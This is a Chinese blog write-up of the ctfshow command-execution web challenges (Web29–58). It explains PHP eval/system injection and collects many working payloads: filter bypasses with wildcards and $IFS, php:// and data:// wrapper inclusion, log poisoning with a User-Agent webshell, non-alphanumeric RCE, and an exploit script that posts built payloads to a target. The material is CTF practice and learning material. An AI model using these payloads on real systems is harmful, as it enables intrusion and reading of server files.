ctfshow-命令执行
补一下这个什么命令执行,看看大佬的wp有什么奇妙的姿势
PS: 带二级标题的姿势是我觉得不错的知识
发这篇博客时,发现只能显示2000行,我以为每篇博客极限就是2000行左右了,再多就显示不了了,就把后面几道题单独放吧(这是一开始的设想)
加了一篇之后发现在原来的地方还是断掉了,没有显示,才发现是因为类似于1
`{#IFS}=3`
这种会导致博客无法正常显示,可以选择用3个反引号而不是一个来绕过或者将#
变成\#
Web29(通配符)
1 |
|
eval(string $code)
把字符串$c
作为PHP代码执行,并且里面的字符串结尾要加;
号,否则不行
理解原理1
2
3
4
5
6
7
8
9
10
$string = 'cup';
$name = 'coffee';
$str = 'This is a $string with my $name in it.';
echo $str. "\n";
eval("\$str = \"$str\";");
echo $str. "\n";
/*This is a $string with my $name in it.
This is a cup with my coffee in it.
echo和system都可以执行程序外的指令,echo 指令内容
即可,system(指令)
然后linux系统内有通配符
*
符号:代表0个或者多个字符?
符号:代表任意一个字符[]
符号:匹配括号内包含的任一字符[abcd]
匹配abcd中任何一个字符[a-z]
表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0^
符号和!
:通常与[]
一起使用,代表取反
反引号的作用就是将反引号内的Linux命令先执行,然后将执行结果赋予变量
Linux中表示输出的函数有,cat,tac,more,nl
- cat 由第一行开始显示文件内容
- tac 由最后一行开始显示文件内容(刚好和cat字母相反)
- nl 按行号显示文件内容
- more 一页一页翻动的读取
Linux 下几种绕过关键字过滤的方式1
2
3
4
5cat fl''ag.php
cat fl""ag.php
cat fl\ag.php
cat fla*
cat fla?.???
不仅仅是文件名, 执行的命令也可以这样绕过
内容为空的单双引号在shell中会直接被忽略
反斜杠表示命令输入没有结束, 会在下一行继续输入 (这里直接跟在反斜杠后面也算是继续输入)
通配符*
表示匹配所有以fla
开头的文件, 当然也就匹配了flag.php
而?
表示匹配一个字符,fla?.???
匹配以fla
开头的四个字符的文件名 +.
+ 三个字符的后缀名
1 | ?c=echo cat fla''g.php;或者?c=echo tac fl?g.php;等等 |
Web30(system类似函数)
1 |
|
解法和Web29一模一样
php有几个执行外部命令的函数,换一个使用即可:
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec()
其中system是有回显的,其他的就得需要我们自行输出。调用echo或者其他输出函数
payloads:1
2
3
4
5
6
7
8
9
10
11
12?c=echo `tac fla?.ph*`;
?c=eval($_GET[1]);&1=system('cat flag.php');
?c=echo exec('nl fla?????');
?c=echo `nl fla''g.p''hp`;
?c=echo `nl fla?????`;
//还有上一道题的很多payload都可以使用
?c = passthru(chr(108).chr(115).chr(32));
Web31(参数逃逸,常规操作)
1 |
|
空格过滤常用以下方法绕过:1
2
3
4
5
6
7
8
9
10cat flag.txt
cat${IFS}flag.txt
cat$IFS$9flag.txt //9改成其他数字也行
cat<flag.txt
cat<>flag.txt
{cat,flag.txt}
cat%09flag.txt
cat%20flag.txt //这个这里好像不行
%09 (PHP 环境)
$a=$'\x20flag.php'&&cat$a (\x20 代表空格)
过滤 cat 的绕过方式:1
2
3
4
5
6
7
8
9
10
11
12
13more
less
head
tac
tail
nl
od
vi
vim
sort
uniq
file -f
strings
payloads:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21?c=echo%09tac%09fl?g?p?p; ps:使用%09绕过空格
?c=eval($_GET[1]);&1=system('cat flag.php');再访问源代码
?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
?c=echo%09`tac%09f*`;
?c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
?c=echo(`nl%09fl[abc]*`);
?c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");等价于system()
?c=echo`strings%09f*`;
?c=echo`strings\$IFS\$9f*`
//$必须加转义字符
无参rce分析
show_source(next(array_reverse(scandir(pos(localeconv())))));
localeconv()
返回包含本地化数字和货币格式信息的关联数组,要注意的是数组的第一个值为1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40array(18) {
["decimal_point"]=>
string(1) "."
["thousands_sep"]=>
string(0) ""
["int_curr_symbol"]=>
string(0) ""
["currency_symbol"]=>
string(0) ""
["mon_decimal_point"]=>
string(0) ""
["mon_thousands_sep"]=>
string(0) ""
["positive_sign"]=>
string(0) ""
["negative_sign"]=>
string(0) ""
["int_frac_digits"]=>
int(127)
["frac_digits"]=>
int(127)
["p_cs_precedes"]=>
int(127)
["p_sep_by_space"]=>
int(127)
["n_cs_precedes"]=>
int(127)
["n_sep_by_space"]=>
int(127)
["p_sign_posn"]=>
int(127)
["n_sign_posn"]=>
int(127)
["grouping"]=>
array(0) {
}
["mon_grouping"]=>
array(0) {
}
}
pos()
即current()
, 返回数组中的当前值, 默认情况下这里返回的是数组中的第一个值, 也就是.
scandir()
用于列出指定路径中的文件和目录, 这里列出当前目录下的内容
1 | array(4) { |
array_reverse()
将数组翻转, 就变成了下面这样
1 | array(4) { |
next()
将数组中的内部指针向前移动一位, 也就是返回下标为1 (第二位) 的值 (flag.php)
最后通过show_source()
高亮显示源码内容
Web32(过滤;)
1 |
|
这一题过滤掉了以前所有的常规方法,所以这题我们用文件包含+逃逸+伪协议,PHP中include
和require
函数无需括号和空格也能使用,利用文件包含函数include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readfile
等等可以查看文件1
2include"a.php"
require"b.php"
这里的;
可以使用标签闭合的形式绕过 (PHP 中如果语句只有一行那么结尾可以不用加分号)
payloads:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18?c=include%09$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
//其中的?>用来绕过分号,因为?>默认给你偷偷加了一个分号,接着将后面1的参数传入的include函数内,filter伪协议是用来读取文件内容的,遇到文件包含函数可以用来读取内容
?c=include%09$_POST[1]?>
POST:1=php://filter/read=convert.base64-encode/resource=flag.php
/index.php?c=include"$_GET[1]"?>&1=php://input
/index.php?c=include$_GET[1]?>&1=php://input
/index.php?c=?><?=include"$_GET[1]"?>&1=php://input
/index.php?c=?><?=include$_GET[1]?>&1=php://input
?c = include"\$_POST[1]"?>
POST: 1=……(伪协议)
?c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
日志文件包含
还有一种在log
中注入木马的方式。在User-Agent
中写入木马<?php phpinfo();?>
在c
中传入能正常访问的值,我们根据请求头可以判断出是nginx
服务器,服务器的默认日志地址为:/var/log/nginx/access.log
再加上这里的include
的字段,我们可以得到以下payload:?c=include$_GET[a]?%3E&a=../../../../var/log/nginx/access.log
,日志页面中出现phpinfo()
页面,插入木马成功
暂时没理解
$nice
的作用是什么啊1
?c=$nice=include$_GET["url"] &url=php://filter/read=convert.base64-encode/resource=flag.php
Web33(双引号过滤)
1 | error_reporting(0); |
和上一题差不多
payloads:1
2
3
4
5
6
7
8
9
10
11
12
13?c=include$_GET[1] &1=php://filter/read=convert.base64-encode/resource=flag.php
?c=include$_GET[1] &1=php://filter/read=convert.base64-encode/resource=flag.php
?c=include%09$_POST[1]
POST: 1=1=php://filter/read=convert.base64-encode/resource=flag.php
?c=include$_GET[1] &1=php://input
POST: system('cat flag.php')
?c=include$_GET[1] &1=data://text/plain,<?php system('ls')?>
?c=include$_GET[1] &1=data://text/plain,<?php eval(system('cat flag.php'));?>
Web34(冒号过滤)
1 | error_reporting(0); |
在上题的基础上又过滤了:
乍一看以为伪协议用不了, 其实根本没有影响
上题的payload依然可用 (参数c里面根本就没有:)1
2
3
4
5
6
7
8
9?c=include$_GET[1]?>&1=php://input
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
?c=include$_GET[1]?>&1=data://text/plain,<?php eval(system('cat flag.php'));?>
?c=include$_GET[a]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
?c=include$_GET[a]?>&1=data://text/palin,<?php system("nl flag.php");?>
Web35(过滤尖括号)
1 | error_reporting(0); |
增加了<
=
的过滤
payload1
2
3
4
5?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
?c=include$_GET[a]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
?c=include$_GET[a]?>&1=data://text/palin,<?php system("nl flag.php");?>
Web36(等号与数字被过滤)
1 | error_reporting(0); |
过滤了数字,把 1 改为 a 就能接着用
payload:1
2
3
4
5
6
7
8
9?c=include%09$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
?c=include$_GET[a]?>&a=php://input
?c=include$_GET{a}?>&a=php://input
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
Web37(data协议编码绕过)
1 |
|
看到include就想到文件包含,文件包含就想到伪协议
然后这里显然不能用filter因为用了filter协议就要有flag的字眼,而且filter不能把输入的东西加密,只能把输出的东西加密,所以这里用data协议
data几个用法1
2
3
4
51、data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
2、data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
内容为:<?php system('cat flag.php');?>
,用base64对其转码得到:PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
1 | ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg== |
Web38(比Web37多过滤了php和file)
1 | error_reporting(0); |
日志包含可过,在UA中写入一句话,然后直接包含日志文件/var/log/nginx/access.log
data伪协议可过,data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
方法和Web37差不多
Web39(data协议绕过固定后缀)
1 | error_reporting(0); |
这里同样用data协议,但是include里面加了.php
后缀,所以不能用base64进行加密,否则会出不来,这里直接?c=data://text/plain,
即可,用?通配符逃过过滤
由于这里的php命令已经闭合,所以.php无法影响,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用
payload:1
2
3
4
5
6
7?c=data://text/plain,<?php system("tac f*");?>//
#在语句中添加 // 注释掉末尾的字段即可
#事实上,这道题不用管也可以,去掉 // 也是没问题的
#这样就相当于执行了php语句<?php system('cat f*')?>.php
#后面的.php会被当成html页面直接显示在页面上,起不到什么作用。
?c=data://text/plain,<?php system("tac f*");?>
Web40(无数字RCE)
1 |
|
ban掉了很多符号,比如引号,美元符等,但是注意的是他过滤的是中文的括号,没有过滤英文的()
方法一(无参RCE)
先介绍下列几组函数
- localeconv():函数返回包含本地数字及货币信息格式的数组
- pos()或者current():输出数组的第一个元素,如图:由于localeconv函数第一个元素是一个
.
,所以输出了一个.
- scandir(): 以数组的形式列出指定路径中的文件和目录,这里
.
代表的是当前目录 - array_reverse():将数组倒叙排列
- next(): 将数组中的内部指针向前移动一位,并且输出,也就是输出第二个元素
- show_source()也就是highlight_file(): 高亮显示代码
这次是 flag 文件就在当前文件夹,如果不在当前文件夹需要使用:var_dump(scandir('../../'));
payload:1
2
3?c=show_source(next(array_reverse(scandir(current(localeconv())))));
?c=show_source((next(array_reverse(scandir(pos(localeconv()))))));
方法二(cookie执行命令)
session_start
意思是开启一个对话,会多一个PHPSESSID
,这个参数我们可以修改,然后session_id
没有指定参数的话返回的是Cookie中PHPSESSID的值
1 | ?c=session_start();system(session_id()); |
接着直接改成 c=session_start();highlight_file(session_id());
然后PHPSESSID的值修改为flag.php
就出问题了
经过测试发现,受php版本影响5.5 -7.1.9
均可以执行,因为session_id规定为0-9,a-z,A-Z,-
中的字符,即数字,字母还有逗号和减号。在5.5以下及7.1以上均无法写入除此之外的内容。但是符合要求的字符还是可以的
本来想用 hex 编码的, 然后发现不能用 hex2bin() 函数, 因为数字被过滤了…
方法三(get_defined_vars()进行RCE)
这里是 nginx 服务器
使用post进行rec远程执行
首先介绍以下几个函数
- get_defined_vars():此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量,
?c=print_r(get_defined_vars());
回显:1
Array ( [_GET] => Array ( [c] => print_r(get_defined_vars()); ) [_POST] => Array ( ) [_COOKIE] => Array ( [PHPSESSID] => cat$IFSflag.php ) [_FILES] => Array ( ) [c] => print_r(get_defined_vars()); )
仔细看第二个[_POST]里面没有参数,所以我们用POST方法给他传进去一个试试看1=phpinfo()
,回显:
1 | Array ( [_GET] => Array ( [c] => print_r(get_defined_vars()); ) [_POST] => Array ( [1] => phpinfo() ) [_COOKIE] => Array ( [PHPSESSID] => cat$IFSflag.php ) [_FILES] => Array ( ) [c] => print_r(get_defined_vars()); ) |
接下来用next函数?c=print_r(next(get_defined_vars()));
,获取第二个元素Array ( [1] => phpinfo() )
- array_pop(): 返回数组最后一个元素的值,这里也可以用pos和curren函数
请求?c=print_r(array_pop(next(get_defined_vars())));
回显phpinfo()
最后把print改为eval进行执行,如图所示进入了phpinfo界面,并且那个1=phpinfo()末尾要加分号,eval函数末尾必须要有分号
最后要获得flag,把1的参数改为1=system('tac flag.php');
得到flag
或者?c=eval(end(current(get_defined_vars())));&a=system('tac flag.php');
利用current()
取出$_GET
数组,使用end()
取出最后一项(想看各部分回显可以用print_r或者var_dump函数)
然后对于很多数组,且flag在中间的,我们用多个next会很麻烦。show_source(array_rand(array_flip(scandir(current(localeconv())))));
可以靠运气解决
Web41(无数字字母RCE)
1 |
|
利用的是|
运算符
方法一(X1r0z大佬的脚本)
1 | import re |
其中 0-15 的 ASCII 码对应的十六进制是单个字符, 需要在前面补零, 然后再改写成 URL 编码的形式
而代码执行的原理在 p神的文章里有写, 这里的版本恰好是 PHP7
PHP7 前是不允许用 ($a)(); 这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过 (‘phpinfo’)(); 来执行函数,第一个括号中可以是任意 PHP 表达式。
POST: c=("%60%60%60%60%60%60"|"%13%19%13%14%25%0d")("%60%60%60%20%60%60%60%60%2e%60%60%60"|"%23%21%14%20%06%2c%21%27%2e%10%28%10")
注意:hackbar提交不了,只能bp发包,抓包改GET为POST,加上Content-Type: application/x-www-form-urlencoded
就行
方法二(官方wp)
官方wp https://wp.ctf.show/d/137-ctfshow-web-web41
rce_or.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
运行以上方法输出rce_or.txt
exp.py1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
#import os
#os.system("php rce_or.php") #没有将php写入环境变量需手动运行
requests.packages.urllib3.disable_warnings() # 防止要求安装证书的警告Adding certificate verification is strongly advised碍着眼睛
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data,verify=False) # verify=False避免ssl认证
print("\n[*] result:\n"+r.text)
python的相关代码是直接构造报文发送给后端
用法: python3 exp.py https://6aad4274-b1b8-4ef5-86f3-58c2e7c22b05.challenge.ctf.show/
Web42(双写绕过,黑洞)
1 |
|
先讲讲$c." >/dev/null 2>&1"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15> 代表重定向到哪里,例如:echo “123” > /home/123.txt
1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于"1>/dev/null"
2 表示stderr标准错误
& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
[建议阅读](https://www.cnblogs.com/kexianting/p/11630085.html)
所以
1 > /dev/null #首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,说白了就是不显示任何信息
2 >& 1 #接着,标准错误输出重定向等同于标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件
# 就是让标准输出重定向到 /dev/null 中(丢弃标准输出),
# 然后错误输出由于重用了标准输出的描述符,所以错误输出也被定向到了 /dev/null 中,错误输出同样也被丢弃了
# 执行了这条命令之后,该条 shell 命令将不会输出任何信息到控制台,也不会有任何信息输出到文件中
# 因此这个也被成为数据黑洞(还是很形象的)
这里system内部命令不需要加引号,这里我们可以用双写绕过
所以payload1:?c=ls;ls
然后?c=tac flag.php;1
ps:这里的分号相当于分隔号,也就是输入两个指令,第二个指令随便什么都可以,反正不会有回显,另外这里的分号我们可以替换成%0a
也就是换行符,或者%26
这里也可以当做分号使用,原理一样
所以payload2:?c=tac flag.php%0a
或者?c=tac flag.php%26
还有一种方法就是使用&&
和||
来绕过,其中&&要进行URL编码后再传入进去,因为是在URL内传输的
1 | cmd1 | cmd2 只执行 cmd2 |
Payload3:?c=tac flag.php&&
或者?c=tac flag.php||
管道符+tee创建文件
echo "<?php phpinfo(); ?>" | tee index.php
(一定要注意写命令的时候给个执行参数进去,不然不能利用第二)
这是可以以任何名字描述后面的php文件,因为如果不存在会帮我自动创建一个,这就好办了,不会影响到我们的本身index.php,然后就和cp,>这些命令差不多了,就命令执行之后回显内容在另一个界面上面
ls | tee 2.php
Web43(类型同上)
1 | if(isset($_GET['c'])){ |
源码和上一题一样,多ban掉了cat和;
我们只要用tac
和%0a
即可或者nl%20flag.php%0a
,思路就这样
命令执行绕过小技巧1
2
3
4
5
6
7?c=more flag.php||
?c=sort flag.php||
?c=less flag.php||
?c=tac flag.php||
?c=tail flag.php||
?c=nl flag.php||
?c=strings flag.php||
Web44(类型同上)
1 | if(isset($_GET['c'])){ |
比web43多ban掉了个flag,我们用通配符或者?等等即可
payload:`?c=tac fla%0a`
Web45(类型同上)
1 | if(isset($_GET['c'])){ |
比web44多ban了个空格,我们空格绕过用%09或者${IFS}就好了就好了
1 | ?c=tac%09fla*|| |
空格绕过IFS原理
一直使用IFS
来绕过,但是一直不知道什么意思,了解了一下:$IFS
是一种set
变量,当shell处理命令替换
和参数替换
时,shell根据IFS
的值,默认是space,tab,newline
即空格,制表符,空行
来拆解读入的变量,然后对特殊字符进行处理,最后重新组合赋值给该变量。
直接用$IFS
的话,会认为解析没结束,会把后面的也当做参数解析,比如cat$IFSflag.php
,会把IFSflag
一起当变量解析。这时候需要在$IFS
后面进行截断,使解析为空,结束$IFS,正常执行后面的内容。
1 | cat$IFS$1flag.php //使用特殊变量 |
Web46(类型同上)
1 | if(isset($_GET['c'])){ |
这道题多ban掉了数字0-9
和$
还有*
号
这里我们用前面提到的&&
和||
来代替;
原理类似,空格就用URL编码去绕过,%09
可行
这里不要被误导了,我们的url编码是存在数字,但是解码之后不存在了
payload:1
2
3
4?c=tac%09fla?.php||
?c=c"a"t%09fla??php||
?c=nl<fla''g.php||
?c=tac<>'f'lag.php%0a
备注:如果是* ?
这种通配符的话, 无法使用输入重定向(因为可能会有多个文件)像fla''.php
(其实就是flag.php)这种文件名唯一的才能使用<
或者<>
做到后面发现,其实这里的$
不会影响$IFS
的使用,它不会被当作字符串
Web47(类型同上)
1 |
|
解法万变不离其宗,多ban了一些输出的东西而已,过滤了more less head sort tail
tac nl od
依然可以绕过
payload:1
2
3
4?c=tac%09fla''g.php||
?c=nl<fla''g.php||
?c=tac<'f'lag.php%0a
?c=tac%09????.???||
Web48(类型同上)
1 | if(isset($_GET['c'])){ |
又过滤了sed cut awk strings od curl 和反引号
可以tac 和 nl
绕过
payload(和上一题差不多):1
2
3?c=tac<'f'lag.php%0a
?c=nl<fla''g.php||
?c=tac%09????.???||
一些读文件命令
查了一下发现sed cut awk curl
也能读文件
sed1
2sed '1ahello' flag.txt # 向第1行后面追加 hello, 但由于没有加 -n 选项, 默认输出文件所有内容
sed -n '/ctfshow/p' flag.txt # 打印匹配到 ctfshow 关键字的那一行
cut1
2cut -b 1-99 flag.txt # 提取每一行的第1-99个字节
cut -d$'\n' -f1-99 flag.txt # 按换行符分割, 查看第1-99个字段
awk1
awk -F$'\n' '{print $1}' flag.txt # 按换行符分割字段, 依次打印
curl1
curl file:///home/exp10it/flag.txt # 需要知道绝对路径
Web49(类型同上)
1 | if(isset($_GET['c'])){ |
又过滤了%
但这里是url
编码, 所以其实没有效果(和前面的数字过滤一样)
payload:1
2
3
4
5
6
7
8
9
10
11
12
13?c=tac%09fla?.php||
?c=tac<f''lag.php||
#不让用%0a,就用在hint中学到的双管道符隔断
?c=nl%09fla\g.php||
?c=nl%09fla\g.php%0a
?c=nl%09fla''g.php%0a
?c=nl%09fla""g.php%0a
?c=vi%09fla\g.php%0a
?c=tac%09fla\g.php%0a
?c=uniq%09fla\g.php%0a
?c=nl<fla''g.php||
?c=nl%09fla\g.php%26
?c=tac%09????.???||
Web50(类型同上)
1 |
|
过滤了[TAB]
(就是%09
)和&
(%26
)
在ASCII编码中,\x09代表制表符(Tab),而\x26代表字符&。如果你需要将这些ASCII码转换为对应的字符,\x09会显示为一个制表符,而\x26会显示为符号&
payload1
2
3?c=tac<fla''g.php%0a
?c=tac<f''lag.php||
?c=tac<>fla\g.php||
再次强调
使用<>
代替空格<>
和?
同时使用不回显,所以用\
代替?
Web51(类型同上)
payload:1
2
3
4
5
6
7
8if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
tac 被过滤了
用nl绕过
payload:1
2?c=nl<'f'lag.php||
?c=nl<>fla\g.php||
Web52(类型同上)
1 | if(isset($_GET['c'])){ |
过滤了<
>
, 但是把$
的过滤取消了,使用${IFS}绕过
payloads:1
2
3
4
5
6?c=nl$IFS/fla''g%0a
?c=nl${IFS}/fla''g%0a
?c=nl${IFS}/fla''g.php||
?c=c''at${IFS}/fla''g.p''hp
?c=nl${IFS}/????||
?c=nl${IFS}/fl''ag||
Web53
1 | if(isset($_GET['c'])){ |
nl 绕过
payload:1
2
3
4?c=c''at${IFS}fla''g.p''hp
?c=nl$IFS\fla""g.php||
?c=nl$IFS\fla\g.php
?c=nl${IFS}????.???
Web54(通配符中问号的使用)
1 | if(isset($_GET['c'])){ |
无法用''
绕过
payload:1
2
3
4
5
6
7
8?c=vi${IFS}fla?.php%0a
?c=uniq${IFS}fla?.php
?c=grep${IFS}'ctfshow'${IFS}fla?.php
?c=mv${IFS}fla?.php${IFS}a.txt # 因为没有禁用 ls,因此知道文件名,因此可以使用 mv 来重命名文件,浏览器访问 a.txt
?c=rev${IFS}a.txt # 反转输出文件,这种得到的 flag 是行反转的,需要调转回来
?c=/bin/?at${IFS}f???????
?c=/bin/c??$IFS????????
?c=grep${IFS}ctfshow${IFS}????????
重点
?c=/bin/?at${IFS}f???????
利用?通配符匹配到cat命令的文件路径/bin/cat
, 然后查看flag.php
测试了一下发现???????
,???????p
,f?ag.php
,fl?ag.php
,fla?.php
等等都能读取
但是?lag.php
读取不了, 不知道是什么原因
Web55(无字母数字的命令执行)
1 |
|
三个思路
- base64 base32 绕过
- bzip2 绕过
.
执行 PHP 文件上传缓存文件绕过
前两个的原理是它们的文件名都带有数字, 相对来说可以精确匹配(但不同系统环境不一样, 只能碰运气)
base64绕过1
2
3?c=/???/????64 ????.???
#意思是 /bin/base64 flag.php
bzip2(注意路径是 /usr/bin/bzip2)1
2
3?c=/???/???/????2 ????.???
#也就是/usr/bin/bzip2 flag.php
#访问/flag.php.bz2进行下载获得flag.php
bzip2 压缩文件默认会把源文件删除
.
执行缓存文件绕过
.(点)的用法,就是相当于source可以执行sh命令
通过post一个文件(文件里面的sh命令),在上传的过程中,通过.(点)去执行执行这个文件。(形成了条件竞争),php上传文件时的缓存文件存储路径一般是/tmp
, 文件名为php[六位随机大小写字母]
, 总长度为9(在 tmp 临时文件中,只有 php 生成的文件是包含大写字母的,其余都是小写字母,因此我们可以加一个过滤大写字母的正则表达式)
注意:通过.去执行sh命令不需要有执行权限
先写一个post上传的数据包参考1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="https://af8a7753-e196-44f6-8c04-d6fb2e1f650c.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
在浏览器打开,不要上传文件直接提交抓包,改下面的地方,出了
Linux使用glob通配符[@-[]
来匹配大写字母(ASCII 码区间)
构造poc执行命令:?c=.+/???/????????[@-[]
这里匹配的是最后一个字符是大写字母的文件(PHP 缓存的文件名最后一个字母可能是大写字母,所以有的时候没有回显是因为文件末尾并不是大写字母,需要多尝试两遍。实际上, 6位随机字符中任意一个位置都有可能是大写字母)
其实测试一下发现, 将[@-[]
放到后六位的任何一位都可以成功执行, 匹配到的概率都差不多
Y4tacker师傅的脚本
1 | import requests |
Web56(无字母数字的命令执行)
1 |
|
过滤了字母和数字
根据上一题, 只能使用.
执行 PHP 的缓存文件,用上一题的py代码秒出
Web57($构造数字)
1 |
|
发现$没被过滤
三个做法
$,{ },_
1 | ${_} = "" //返回上一次命令 |
做法1
2
3?c=${_} = ""
?c=$((~$(($((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_}))))))))
#分两次提交
$,~,( )
shell中双小括号的作用http://c.biancheng.net/view/2480.html
$(())
的默认值是0 ,因为里面没有任何东西, 对0取反得到-1
, 取反的结果需要用另一对$(())
包裹住
这里的-1有点特殊, 因为类似$((1 1))
的命令是错误的(没有运算符号), 而两个-1并在一起$((-1 -1))
会让shell认为是$((-1-1))
即-1减去1, 然后得到-2
1 | echo $((~36)) |
36的取反结果是-37, 就是说我们需要通过-1来构造出-37, 然后再取反一次1
2
3
4
5
6$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))))))
一键构造脚本1
2
3
4
5
6
7a = '$((~$(())$(())))'
b = '$((~$(('
c = '))))'
d = ''
for i in range(37):
d += a
print(b+d+c)
得到flag
grep搜索(hint里面的,但是我没复现成功)
1 | ?c=grep${IFS}'fla'${IFS}fla??php |
一个被过滤的妙解
如果这里不禁用#号的话,我们有一种方法可以获得1
2
3echo ${#} -> 0
echo ${##} -> 1
echo $((${##}+${##})) -> 2
有个脚本1
2
3
4
5
6
7
8a = '${##}+'
b = '$(('
c = '))'
d = ''
for i in range(36):
d += a
d = d[:-1]
print(b+d+c)
Web58(PHP函数使用)
1 |
|
命令执行的函数都被ban了, 但是file_get_contents()
还能用,highlight_file
也可以
获取文件路径:1
2
3c=print_r(glob("*"));
c=print_r(scandir('.'));
c=print_r(scandir(dirname('FILE')));
payloads:1
2
3
4
5
6
7
8
9c=echo file_get_contents('flag.php');
c=echo fread(fopen('flag.php','r'),filesize('flag.php'));
c=highlight_file('flag.php');
c=show_source('flag.php');
c=readfile('flag.php');
c=print_r(file('flag.php'));
c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php
c=show_source('flag.php');
c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
Y4tacker师傅的payload
太多了,单独开一个,而且有些很妙的方法
获取文件路径payload:1
2
3c=print_r(scandir(dirname('__FILE__')));
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
